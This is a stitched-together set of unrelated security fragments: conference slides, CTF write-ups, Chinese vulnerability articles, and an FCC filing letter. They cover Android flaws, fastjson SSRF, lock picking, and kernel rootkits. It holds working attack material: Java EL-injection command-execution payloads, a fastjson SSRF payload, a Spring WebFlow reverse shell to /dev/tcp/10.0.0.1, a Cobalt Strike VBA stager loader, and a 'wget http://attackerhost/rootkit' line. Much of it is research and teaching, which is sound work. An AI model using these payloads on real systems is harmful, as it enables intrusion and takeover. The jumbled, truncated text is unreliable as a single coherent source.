Architecture of code All of the architecture-dependent pieces are abstracted behind common functions; we dont have to worry about byte order, memory-manager speciﬁcs, etc. Loadable Kernel Modules (LKM) Not commonly used, but are enabled by default. It also allows code to inﬁltrate the kernel ex post facto; security-conscious administrators might disable this. Modules can add syscalls, sysctl nodes, executable formats, ﬁlesystem dr


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Vulnerable Out of the Box: An Evaluation of Android Carrier Devices Ryan Johnson - Kryptowire Angelos Stavrou - Kryptowire Why Look for Cyber Threats? Aggressive data collection  Exfiltration of sensitive user-data to China (Adups)  Sensitive data collection (OnePlus 5) Remote system compromise  System compromise from insecure network communications (Ragentek) User data disclosure due to vendor modifications  Samsung leaking log data (CVE-2017-7978)  MediaTek leaking log data (CVE-2016-10135) Local privilege escalation to the root user  Alcatel A30 (former Amazon Prime Exclusive Device)  Leagoo P1  Privileged EngineerMode app (OnePlus 5)  Android 4.4 devices with a MediaTek chipset 2 Pre-installed Apps and Vendor OS Modification Android devices contain a set of pre-installed apps  May not be available on Google Play  Some apps cannot be disabled Pre-installed apps can be malicious and/or insecure  Insecure apps can be locally or remotely exploited  Malicious apps can provide backdoor functionality and may exfiltrate sensitive user data Vendors generally modify Googles official Android code to provide custom behavior  (Un)intentionally expose sensitive capabilities  Privileged platform apps 3 Source: https://developer.android.com/guide/platform/index.html App Components Fundamental functional blocks of an Android app  Activity  Broadcast Receiver  Service  Content Provider Declared in the apps manifest file May provide accessible entry-points into an app for other apps to exploit by using intents which are a message-like abstraction for communication within between apps  Contains Intent-specific fields and potentially embedded data 4 Exported Application Components Exported components are accessible to any process on the device  Regulated by the android:exported and android:permission app component attributes Android OS will export components, by default, if the app component does not use the android:exported attribute and declares at least one intent-filter 5 <servi


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fastjson net.sf.json-lib org.json JSON-lib org.json Java Jacksongson fastjson json-lib/org.json SSRF fastjson URL fastjson Java autotype java.net.URL java.net.URL URL get URL URL getContent() fastjson getContent() fastjson 1.2.76 SSRF new URL(...).getContent(); new URL(...).openStream(); new URL(...).openConnection().connect(); fastjson JSONPath JSON get getContent() json-lib org.json getContent getContent json-lib JSONObject fromObject()put() containsValue org.json JSONObject org.json json-lib get fastjson JSON org.json/json-lib fastjson fastjson issue fastjson json-lib net.sf.json.JSONObject java.util.Map fastjson Map com.alibaba.fastjson.parser.deserializer.MapDeserializer java.util.Map Yongtao Wang & Yang Zhang - NTLM Relay Risk Is Coming_ A New Exploit Technique Makes It Reborn Java+Windows SSRF rce gadget NTLM Hash TypeReference<Map<String, Object>> typeReference = new TypeReference<Map<String, Object>>() { }; Map<String, Object> stringObjectMap = JSON.parseObject(" {\"@type\":\"net.sf.json.JSONObject\",\"a\": {\"@type\":\"net.sf.json.JSONObject\",\"x\": {\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:2333\"}}}", typeReference); exploit 5alt/UltraRelay ubuntu http Windows server 2008 java.net.URL http NTLM Hash NTLM Hash springboot fastjson httpMessageConverter RequestMapping @RequestBody fastjson JSON.parse SSRF json fastjson json Map fastjson Map Map JSON JSON JSON JSON Map API fastjsonJSON-liborg.json jackson gson json json


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Open in 30 Seconds Cracking One of the Most Secure Locks in America Marc Weber Tobias Matt Fiddler LOCKS, LIES, and HIGH INSECURITY  Dominant high security lock maker  40 year history of security  Many expert attempts to crack with limited success, complicated tools  Misstatements and disinformation  18 month research project results: A Total compromise of security MEDECO HIGH SECURITY:  UL, BHMA / ANSI, VdS Certified  High level of protection against attack  Picking: 10-15 minute resistance  No bumping  Forced Entry: 5 minutes, minimum  Key control  Protect restricted and proprietary keyways  Stop duplication, replication, simulation of keys HIGH SECURITY LOCKS:  Protect Critical Infrastructure, high value targets  Stringent security requirements  High security Standards  Threat level is higher  Protect against Forced, Covert entry  Protect keys from compromise MEDECO HISTORY  Dominant high security lock maker in U.S.  Owns 70+ Percent of U.S. high security market for commercial and government  Major government contracts  In UK, France, Europe, South America  Relied upon for highest security everywhere  Considered almost invincible by experts WHY THE MEDECO CASE STUDY IS IMPORTANT  Insight into design of high security locks  Patents are no assurance of security  Appearance of security v. Real World  Undue reliance on Standards  Manufacturer knowledge and Representations  Methodology of attack  More secure lock designs CONVENTIONAL v. HIGH SECURITY LOCKS  CONVENTIONAL CYLINDERS  Easy to pick and bump open  No key control  Limited forced entry resistance  HIGH SECURITY CYLINDERS  UL and BHMA/ANSI Standards  Higher quality and tolerances  Resistance to Forced and Covert Entry  Key control ATTACK METHODOLOGY  Assume and believe nothing  Ignore the experts  Think out of the box  Consider prior methods of attack  Always believe there is a vulnerability  WORK THE PROBLEM  Consider all aspects and design parameters  Do not exclude any solution HIGH SECURITY LOCKS: Critical


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1 EL表达式注的进阶利 前 环境搭建 正 回显执命令 有回显执命令 任意代码执 直接连接蚁剑 思路扩展 @yzddMr6 表达式注是Java安全从业者会经常碰到的类漏洞Struct2的ognl表达式注Nexus3的EL表 达式注前段时间爆出的Spring Cloud gateway的Spel表达式注等等重要性不需要多说 前段时间徐师在Make JDBC Attacks Brilliant Again 番外篇也提到了postgresql+EL表达式来 写Weblogic句话的场景所以今天想借此机会分享些进阶利的payload Tomcat 8.5+jdk8 这模拟了个el表达式注的场景 前 环境搭建 C# 复制代码 <%@ page import="org.apache.jasper.runtime.PageContextImpl" %> <% String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("code"), String.class, pageContext, null); out.print(res); %> 1 2 3 4 5 2 可能家最常到的就是执命令的payload由于el表达式不能执new等操作所以需要反射来构 造 样例如下 或者是借助js引擎 不过两者都是回显的不优雅 最早看到的有回显相关的研究是在这篇章https://forum.butian.net/share/886写的常好最 后的payload如下 正 回显执命令 有回显执命令 C# 复制代码 code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".get Class()).invoke("".getClass().forName("java.lang.Runtime").getMethod("get Runtime").invoke(null),"calc.exe")} 1 C# 复制代码 code=${"".getClass().forName("javax.script.ScriptEngineManager").newInsta nce().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lan g.String[])'](['cmd','/c','calc']).start()")} 1 3 由于EL表达式不持直接赋值以及new对象所以需要到pageContext.getAttribute跟 pageContext.setAttribute来间接实现变量的传递导致payload写起来常的麻烦也常的臃肿 所以我们换种思路不再使EL身的语法是在js引擎中实现我们的逻辑 在 种新型Java句话的实现 对js引擎的各种语法进了详细的解释 https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4% B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7 %8E%B0/ 经过简化后我们的payload如下 C# 复制代码 ${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inpu tStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttri bute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateM ethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAva


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get_module === 获取Linux内核模块的详细信息 ## 补充说明 **get_module命令** 用于获取Linux内核模块的详细信息 ### 语法 ```shell get_module 模块名 ``` ### 实例 使用lsmod命令查看内核模块 ```shell lsmod | head -5 Module Size Used by ipv6 272801 15 xfrm_nalgo 13381 1 ipv6 crypto_api 12609 1 xfrm_nalgo ip_conntrack_ftp 11569 0 ``` 使用get_module命令查看模块详细信息 ```shell get_module ipv6 refcnt : 15 srcversion : 8CC9C024755B4483E56C0EF Parameters: autoconf : 1 disable : 0 disable_ipv6 : 0 Sections: .altinstr_replacement : 0xf8f1a3cf .altinstructions : 0xf8f1d03c .bss : 0xf8f36000 .data.read_mostly : 0xf8f34d20 .data : 0xf8f2f7a0 .exit.text : 0xf8f1a234 .gnu.linkonce.this_module : 0xf8f34e00 .init.data : 0xf8a16a60 .init.text : 0xf8a16000 .module_sig : 0xf8f37960 .rodata.str1.1 : 0xf8f1ae46 .rodata : 0xf8f1a420 .smp_locks : 0xf8f1d150 .strtab : 0xf8f29840 .symtab : 0xf8f24000 .text : 0xf8ef5000 __kcrctab : 0xf8f1de70 __kcrctab_gpl : 0xf8f1d9cc __ksymtab : 0xf8f1dd78 __ksymtab_gpl : 0xf8f1d954 __ksymtab_strings : 0xf8f1da44 __param : 0xf8f1da08 __versions : 0xf8f1df00 ```


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Biting the Hand That Feeds You 2007 Biting the Hand That Feeds You 1 Biting the Hand That Feeds You Storing and Serving Malicious Content from Well Known Web Servers Billy K Rios  Senior Researcher Nathan Mcfeters  Senior Researcher Kicking Down the Cross Domain Door ii Intended Audience This paper assumes the reader has a solid understanding of web application security principles, Cross Site Request Forgery, and web browser security mechanisms. Contributing Authors Version 1.0 Billy Kim Rios  Senior Researcher  VeriSign Inc, Seattle Nathan Mcfeters  Senior Researcher  Advanced Security Center, Houston Kicking Down the Cross Domain Door iii Table of Contents INTENDED AUDIENCE............................................................................................................................ II CONTRIBUTING AUTHORS................................................................................................................... II CHAPTER 1  WHO DO YOU TRUST? .................................................................................................. 4 1. OVERVIEW .............................................................................................................................................. 4 2. BROWSER/APPLICATION SECURITY MEASURES...................................................................................... 4 3. A NEW TWIST ON CROSS SITE REQUEST FORGERY................................................................................. 5 CHAPTER 2  BITING THE HAND - YAHOO....................................................................................... 7 1. CREATING AN ACCOUNT......................................................................................................................... 7 2. UPLOADING CONTENT ............................................................................................................................ 7 3. BYPASSING MISCELLANEOUS PROTECTION MEASURES.........................................


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Fast veriﬁed post-quantum software Daniel J. Bernstein SymCrypt: failures for rare inputs Its actually a bug within SymCrypt, the core cryptographic library responsible for implementing asymmetric crypto algorithms in Windows 10 and symmetric crypto algorithms in Windows 8. Warning: Google Researcher Drops Windows 10 Zero-Day Security Bomb, Forbes, https://tinyurl.com/y69fx3nh Daniel J. Bernstein, Fast veriﬁed post-quantum software 3 Falcon software: skewed randomness Produced signatures were valid but leaked information on the private key. . . . The fact that these bugs existed in the ﬁrst place shows that the traditional development methodology (i.e. being super careful) has failed. OFFICIAL COMMENT within NISTPQC (NIST Post-Quantum Cryptography Standardization Project), https://tinyurl.com/y5w46bde Daniel J. Bernstein, Fast veriﬁed post-quantum software 4 Minerva: timing attack Libgcrypt, wolfSSL, and Crypto++ have issued patches over the summer to ﬁx this bug. Maintainers of MatrixSSL ﬁxed some issues, but the library remains vulnerable. Oracles SunEC library remains open to attacks. Minerva attack can recover private keys from smart cards, cryptographic libraries, ZDNet, https://tinyurl.com/y6rlkov4 Daniel J. Bernstein, Fast veriﬁed post-quantum software 5 Cryptographic software has a problem . . . 2021.07 BlessingSpecterWeitzner You really shouldnt roll your own crypto: an empirical study of vulnerabilities in cryptographic libraries: 73 actual cryptographic vulnerabilities, including 11 severe cryptographic vulnerabilities, among OpenSSL, GnuTLS, Mozilla TLS, WolfSSL, Botan, Libgcrypt, LibreSSL, BoringSSL post-2010 CVEs. Daniel J. Bernstein, Fast veriﬁed post-quantum software 6 . . . and the complexity is getting worse Must be post-quantum! Must be fast! Must stop timing attacks! Complicated ecosystem of post-quantum specs Much more complicated ecosystem of post-quantum software Daniel J. Bernstein, Fast veriﬁed post-quantum software 7 Examples of the complic


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# angrybird (RE 125) ###ENG We are faced with x64 ELF binary. Binary is obviously corrupted - it exits right at the beginning. Unfortunatelly I don't have non-patched binary anymore, but I had to NOP a lot of code at the beginning: ```asm 55 push rbp 48 89 E5 mov rbp, rsp 48 83 C4 80 add rsp, 0FFFFFFFFFFFFFF80h 64 48 8B 04 25 28+mov rax, fs:28h 48 89 45 F8 mov [rbp+var_8], rax 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 48 C7 45 90 18 60+mov [rbp+var_70], offset strncmpp 48 C7 45 98 20 60+mov [rbp+var_68], offset putsp 48 C7 45 A0 28 60+mov [rbp+var_60], offset stack_chk_fail 48 C7 45 A8 38 60+mov [rbp+var_58], offset startmain B8 00 00 00 00 mov eax, 0 E8 4B FF FF FF call should_return_21 89 45 8C mov [rbp+n], eax B8 00 00 00 00 mov eax, 0 90 nop 90 nop 90 nop 90 nop 90 nop B8 00 00 00 00 mov eax, 0 ``` And patch function `should return 21` (because according to debug string, it should return 21): ```asm should_return_21 proc near 55 push rbp 48 89 E5 mov rbp, rsp BF 64 50 40 00 mov edi, offset s ; "you should return 21 not 1 :(" E8 8C FE FF FF call _puts 8B 05 56 59 20 00 mov eax, cs:const_1 5D pop rbp C3 retn should_return_21 endp ``` Now binary is working correctly: it reads flag, and does a lot of checks, one char at a time: ![](./screen1.png) This looks easy enough, right? Well, let's zoom out: ![](./screen2.png) Wait, what? Let's zoom out even more: ![](./screen3.png) `O_o`. Ok, we might need to do this more intelligently. Turns out that if you think hard enough, everything is trivial. Or maybe just angr creators are genius, I don't know. Anyway, I created this very basic angr script (my second angr experience ever): ```python import angr main = 0x4007DA find = 0x404FAB find = 0x404FC1 avoid = [0x400590] p = angr.Project('./angrybird2') init = p.factory.blank_state(addr=main) pg = p.factory.path_group(init, threads=8) ex = pg.explore(find=find, avoid=avoid) final = ex.found[0].state flag = final.posix.dumps(0) print("Flag: {0}


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# condrv.sys 内存损坏漏洞 前面的没怎么看懂,尝试看后面的 condrv.sys 全局找 condrv.sys, 发现 C:\Windows\System32\drivers\condrv.sys, 复制一份, ida64 打开 选择从符号服务器下载 跟到 CdpDispatchCreate 查看反汇编 它会循环比较文件名是不是预定义的几个如果是则调用预定义的创建回调函数 跟到 CdpObjectCreationTable 目前网上的 poc 如下 ``` <script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script> ``` poc 里面打开的是 kernelconnect, 所以会调用 CdCreateKernelConnection, 跟进 这里判断, 如果先前模式是 usermode 则返回 - 1073741790, 简单换算一些 ``` 1. 先将 1073741790 转换成 2进制,共 30 位 11 1111 1111 1111 1111 1111 1101 1110 2. 最前面一位为符号位 1,前面补一位0 得 32 位 1011 1111 1111 1111 1111 1111 1101 1110 3. 除符号位外,按位取反再加1 1100 0000 0000 0000 0000 0000 0010 0010 4. 转换成十六进制 C 0 0 0 0 0 0 2 2 ``` > 这里可以直接右键 Hexadecimal 进行转换 这个 0xc000022 搜一下就知道是 windows 常用的一个报错即拒绝访问也就是设计之初内核是不允许用户直接使用这个符号链接的 这个直接返回拒绝再处理 IRP 时没有设置 IRP 的状态码和调用 IoCompleteRequest 结束 IRP导致当 IRP 返回时其 IoStatus.Status 为 0NTSTATUS 值为 0 为 NT_SUCCESS而在函数 IopPraseDevice 中是以 IoStatus.Status 为准, 所以 IopPraseDevice 错误的认为 IoCalldriver 是成功的进而引发后续错误地关闭文件对象从而导致蓝屏手动测试修改 IoStatus.Status 为失败值蓝屏消失 IoStatus.Status 这里可以参考 - https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/completing-the-irp - Completing the IRP - https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-ntstatus-values - Using NTSTATUS Values --- **Source & Reference** - [Windows 10 bug crashes your PC when you access this location](https://www.bleepingcomputer.com/news/security/windows-10-bug-crashes-your-pc-when-you-access-this-location/) - [更新深信服EDR快速响应支持防护Windows condrv.sys内存损坏漏洞](https://mp.weixin.qq.com/s/QhGYn6wPquSY6obvjgt8VQ) - [驱动在IoCallDriver之前应设置IoStatus.status的状态](https://www.jianshu.com/p/29fddad42736)


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The Six Year Old Hacker: References and resources: Educational Theory, Piaget, Montessori, Papert and others: http://education.indiana.edu/~p540/webcourse/develop.html http://www.ship.edu/~cgboeree/piaget.html http://www.montessori.edu/ http://www.montessori.org/ Stoll Lillard, Angeline; Montessori: The Science Behind the Genius (Oxford University Press 2005) http://www.papert.org/ Papert, Seymour; Mindstorms: Children, Computers, and Powerful Ideas, (Basic Books 1999) Papert, Seymour; Constructionism Research Reports and Essays, 1985-1990 (Greenwood Pub Group 1991) Programing: LOGO Foundation. http://el.media.mit.edu/logo-foundation/ UCB LOGO, runs under several OSs. A good source for serious LOGO programing texts. http://www.cs.berkeley.edu/~bh/logo.html Windows version of LOGO derived from UCB LOGO. Runs well under Wine. Good links. http://www.softronix.com/logo.html Two good sources for programing projects. Life and CoreWar! Dewdney, A. K.; Armchair Universe: An Exploration of Computer Worlds (New York: W. H Freeman & Co 1988) Dewdney, A. K.; The Tinkertoy Computer and Other Machinations: Computer Recreations... (New York:W. H Freeman & Co 1993)


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Hacking from the Palm of your Hand Paul Clip DEFCON - August 01, 2003 P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L  2 0 0 3 @ S T A K E , I N C . Agenda Goals Past  Overview of the Palm Platform  Hacker Tools on the Palm Present  AUSTIN - A Palm OS Vulnerability Scanner  Architecture  Features  Demos  But wait, theres more!!! Future  New Features P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L  2 0 0 3 @ S T A K E , I N C . Goals Overview of Palm OS as a hacking platform Walkthrough of a Palm OS-based vulnerability scanner  Architecture  Features & how theyre implemented  Lessons learned Release a new tool for Palm OS Have Fun! P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L  2 0 0 3 @ S T A K E , I N C . The Past Trivia Questions: What was the first Palm Pilot called? How much memory did it have? P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L  2 0 0 3 @ S T A K E , I N C . The Palm Platform Old  Motorola 68K processor  Max speed 66MHz  RAM 2-16MB  Typical resolution 1602  Some color, some b/w screens  Serial/USB port  IR  Some expansion slots  PalmOS 4.x and below New  ARM processor  Max speed 150? 200? 400? MHz  RAM 16-32MB  Typical resolution 3202  All color  USB port  IR  Expansion slots  PalmOS 5.x and above P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L  2 0 0 3 @ S T A K E , I N C . Security Tools Password Generators http://www.freewarepalm.com/utilities/passgen.shtml http://www.freewarepalm.com/utilities/passphrase.shtml Encryption http://cryptopad.sourceforge.net/ http://linkesoft.com/secret/ Password Crackers (old) http://atstake.com/research/tools/password_auditing/ War Dialer http://atstake.com/research/tools/info_gathering/ P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L  2 0 0 3 @ S T A K E , I N C . Communication Tools Telnet http://netpage.em.com.br/mmand/ptelnet.htm SSH (v1 only) http://online.offshore.com.ai/~iang/TGssh/ Web & Mail http://www.eudora.com/internetsuite/ Ping http://www.


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企业SDL实践与经验 美图安全经理Security Paper发起人 SDL是什么 标准化 SDL基本流程 1. 安全培训 2. 需求评估 3. 产品设计 4. 代码编写 5. 渗透测试 6. 上线发布 7. 应急响应 安全培训  意识 WEB安全培训  针对服务端开发  哪里容易出现漏洞  怎么写会更安全 APP安全培训  针对APP开发  数据加密存储  不应该存储敏感数据 安全意识  针对全体项目成员  敏感数据处理办法  如何发送敏感数据 需求评估&产品设计  覆盖 应用系统自身架构安全 应用系统软件功能安全设计要求 应用系统存储安全设计要求 应用系统通讯安全设计要求 应用系统数据库安全设计要求 应用系统数据安全设计要求 后门参数 部署安全检查 身份认证逻辑安全 数据访问机制 集中验证 外部一体化 入口点 外部API 代码编写  规范 危险函数 安全配置 框架安全 常见安全问题代码示例 渗透测试  速度&深度 自劢化扫描 常见场景快速测试点 代码安全检查 上线发布 1. 安全嵌入上线流程 2. 安全准入 3. 安全检查 应急响应 应急响应方案 确保方案落地到人 有电话号码 遏制 复盘 为什么流程这么难推动 君子协定到底可以不可以 金杯共饮之 白刃不相饶 Security Paper 遏制


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# Get started (pwn 100) ###ENG [PL](#pl-version) In the task we get an ELF [binary](get_started) to work with. Ret-dec results are: ```c int main(int argc, char ** argv) { printf("Qual a palavrinha magica? "); int32_t str; gets((char *)&str); return 0; } ``` So not much code is executed, but we can see that there is a blatant stack buffer overflow. The task description hints that we don't need to get a shell here, everything is in the binary. So we look at the disassembly and in fact there is: ```asm ; function: get_flag at 0x80489a0 -- 0x8048a1f 0x80489a0: 56 push esi 0x80489a1: 83 ec 08 sub esp, 0x8 0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f 0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> 0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> 0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt" 0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt" 0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen> 0x80489cc: 89 c6 mov esi, eax 0x80489ce: 89 34 24 mov dword [ esp ], esi 0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc> 0x80489d6: 0f b6 c8 movzx ecx, al 0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff 0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d> 0x80489e1: 0f be c8 movsx ecx, al 0x80489e4: 66 0x80489e5: 66 0x80489e6: 66 0x80489e7: 2e 0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] 0x80489f0: 89 0c 24 mov dword [ esp ], ecx 0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar> 0x80489f8: 89 34 24 mov dword [ esp ], esi 0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc> 0x8048a00: 0f be c8 movsx ecx, al 0x8048a03: 0f b6 c0 movzx eax, al 0x8048a06: 3d ff 00 00 00 cmp eax, 0xff 0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50> 0x8048a0d: 89 34 24 mov dword [ esp ], esi 0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose> 0x8048a15: 83 c4 08 add esp, 0x8 0x8048a18: 5e pop esi 0x8048a19: c3 ret 0x8048a1a: 66 0x8048a1b: 0f 1f 44 00 00


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我的CS笔记之- In-memory Evasion 2 0x01 前言 内存逃逸的第二部分主要是作者讲诉CS的Payload的一个完整执行流程这个对理解CS植入体非常重 要对后面做免杀规避都起到很大作用第一部分讲侦测手法第二部分讲自身运行流程真的是知 己知彼这一部分作者先讲诉了Stager是什么然后讲述一个分段加载Payload的完整执行流程接着 就是不分段加载最后作者讲了进程注入相关技术在CS中的应用 0x02 分阶段payload和不分阶段payload 关于分不分阶段使用过CS的小伙伴应该都很清楚了但是里面的具体细节相信很多小伙伴也是一知 半解下面就详细说下分阶段Payload 分阶段的payload在进程中执行的流程 1. 申请一个块儿内存allocate memory 2. 复制Stager去这一块儿内存里 3. 创建一个线程运行这个Stager 4. 这个Stager会再次申请一块儿内存allocate memory 5. Stager去下载加密的payload写入申请的内存中 6. Stager把执行流程转递给这个加密的payload 7. 加密的payload自解密成Reflective DLL 8. 然后把执行流程传递给Reflective DLL 9. Reflective DLL 申请一个块儿内存allocate memory 10. 然后初始化自己在新的内存里面 11. 最后reflective DLL 调用payload的入口点函数 这就是一个分阶段的payload的完整加载流程如果你细细思考里面存在一个问题就是第7步被加密 的payload怎么自解密实际情况是这个所谓的被加密的payload分为2部分一部分是解密程序这个 是不加密的然后才是被加密的反射dll也就是Beacon.dll 从1-3是我们loader的执行3-6是Stager在内存中的执行7-8是加密payload的执行9-11是反射DLL 的执行 我们通过CS生成一个macro样本loader直观的感受下 loader Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 1 / 7 - Welcome to www.red-team.cn dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type #If VBA7 Then Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Funct


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MoreFind 款于快速导出URLDomain和IP的具 快速安装 式: 通过Go包管理安装 式: 直接安装进制件 式三: 本地编译 法说明 1)帮助信息 go install github.com/mstxq17/MoreFind@latest wget --no-check-certificate https://ghproxy.com/https://github.com/mstxq17/MoreFind/releases/download/v1.0.2/MoreFi nd_1.0.2_`uname -s`_`uname -m`.tar.gz tar -xzvf MoreFind_1.0.2_`uname -s`_`uname -m`.tar.gz sudo mv ./MoreFind /usr/bin/MoreFind && chmod +x /usr/bin/MoreFind git clone https://github.com/mstxq17/MoreFind.git chmod +x ./build.sh && ./build.sh MoreFind -h 2)导出URL 3)导出域名 4)导出ip 5)持导出结果 TODO 1)优化代码逻辑和结构 2)输出结果动去重复 MoreFind -u MoreFind -d MoreFind -i MoreFind -u -d -i -o result.txt 3)完善脚本异常处理部分 4)加部分URL智能去重代码 5)完善Log输出处理 6)实现动强制更新


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# Spring WebFlow 远程代码执行漏洞CVE-2017-4971 Spring WebFlow 是一个适用于开发基于流程的应用程序的框架如购物逻辑可以将流程的定义和实现流程行为的类和视图分离开来在其 2.4.x 版本中如果我们控制了数据绑定时的field将导致一个SpEL表达式注入漏洞最终造成任意命令执行 参考链接 - https://threathunter.org/topic/593d562353ab369c55425a90 - https://pivotal.io/security/cve-2017-4971 ## 测试环境 运行测试环境 ``` docker compose up -d ``` 等待环境启动后访问`http://your-ip:8080`将看到一个酒店预订的页面这是spring-webflow官方给的简单示例 ## 漏洞复现 首先访问`http://your-ip:8080/login`用页面左边给出的任意一个账号/密码登录系统 ![](1.png) 然后访问id为1的酒店`http://your-ip:8080/hotels/1`点击预订按钮Book Hotel填写相关信息后点击Process从这一步其实WebFlow就正式开始了 ![](2.png) 再点击确认Confirm ![](3.png) 此时抓包抓到一个POST数据包我们向其中添加一个字段也就是反弹shell的POC ``` _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub ``` ![](4.png) 注意别忘记URL编码 成功执行获得shell ![](5.png)


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B O S S E E R I K S O N / B I T S E C < B O S S E . E R I K S S O N @ B I T S E C . S E > Runtime Kernel Patching on Mac OS X Defcon 17, Las Vegas Who am I?  Bosse Eriksson  Security Consultant / Researcher at Bitsec  Unhealthy fetish for breaking stuff  Recently been looking into Mac OS X rootkit techniques Agenda  Intro  What is a rootkit?  OS X? BSD? XNU?  Runtime kernel patching  Runtime kernel patching on OS X  PoC runtime kernel patching rootkit for OS X  Rootkit detection  References  Q&A What is a rootkit?  Program for access retention  Local / remote backdoors  Typically requires root access  NOT an exploit or a trojan horse  Stealth  Hides files/processes/sockets  Types of rootkits  Userspace  Easy to implement  Easy to discover  Kernelspace  Hard(er) to implement  Much harder to detect if done properly Pwning  Simple Illustration  This is when you get pwned (exploit) $ ./0day h mail.doxp*ra.com - connecting - exploiting % uname a; id FreeBSD living*nd.org 7.0-STABLE FreeBSD 7.0-STABLE #0: Mon Jul 28 18:18:06 PDT 2008 psm@pmjm.com:/usr/obj/usr/src/sys/GENERIC i386 uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)  and this is when you stay pwned (rootkit) % wget http://attackerhost/rootkit > /dev/null ; chmod +x rootkit % ./rootkit -i Rootkit examples  Userspace  Various evil patches to ls/netstat/ps etc  Also binary patches  Kernelspace  Phalanx by rebel  Runtime kernel patching rootkit for Linux 2.6  Uses /dev/mem to patch kernel memory and hook syscalls  SucKIT by sd  Runtime kernel patching rootkit for Linux 2.4 (SucKIT 2 for Linux 2.6)  Uses /dev/kmem to patch kernel memory and hook syscalls  Knark by Creed  LKM for Linux 2.2  Hooks syscalls  WeaponX by nemo  Kernel module (KEXT) for OS X < 10.3  First public OS X kernel rootkit OS X? BSD? XNU?  XNU is the kernel of the OS X operating system  Built on both BSD and Mach technology  BSD layer  Networking  Processes  POSIX API and BSD syscalls    Mach layer  Kernel threads  Interrupts  Memory manageme


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1200 EIGHTEENTH STREET, NW WASHINGTON, DC 20036 TEL 202.730.1300 FAX 202.730.1301 WWW.HARRISWILTSHIRE.COM ATTORNEYS AT LAW March 14, 2007 Via Electronic Filing Ms. Marlene H. Dortch, Secretary Federal Communications Commission 445 12th Street, SW Washington, DC 20554 Re: Notice of Ex Parte Communication, ET Docket Nos. 04-186, 02-380 Dear Ms. Dortch: On March 13, 2007, on behalf of a coalition that includes Dell, Inc., Google, Inc., the Hewlett- Packard Co., Intel Corp., Microsoft Corp., and Philips Electronics North America Corp., Srihari Narlanka of Microsoft; William Brown and John Clark, outside consultants to Microsoft; and Edmond Thomas and S. Roberts Carter of Harris, Wiltshire & Grannis LLP submitted a prototype TV band device to the FCC Laboratory for testing. The above-named individuals also met with Rashmi Doshi, Steven Jones, and Steven Martin of the Office of Engineering and Technology to provide instruction on the operation of the device. On March 14, 2007, Messrs. Thomas, Narlanka, Brown, and Clark met with Messrs. Doshi and Jones as well as Thomas Phillips of the OET staff to discuss further the operation of the device. In addition, the Coalition provided OET staff with a copy of the device manual, attached hereto. Pursuant to the Commissions rules, a copy of this notice is being filed electronically in the above-referenced dockets. If you require any additional information please contact the undersigned at (202) 730-1305. Sincerely yours, /s/ Edmond J. Thomas Edmond J. Thomas Senior Policy Advisor HARRIS, WILTSHIRE & GRANNIS LLP Marlene H. Dortch March 14, 2007 Page 2 cc: Julius Knapp Rashmi Doshi Steven Jones Steven Martin Thomas 